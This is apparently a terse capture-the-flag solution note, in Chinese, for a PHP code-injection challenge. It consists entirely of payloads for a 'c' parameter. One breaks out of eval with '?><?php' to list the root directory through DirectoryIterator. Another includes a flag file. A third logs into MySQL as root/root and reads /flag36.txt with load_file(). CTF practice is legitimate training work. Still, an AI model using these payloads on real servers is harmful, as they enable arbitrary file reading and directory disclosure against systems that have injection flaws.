开启环境:
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
c=include("/flagc.txt");exit();
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
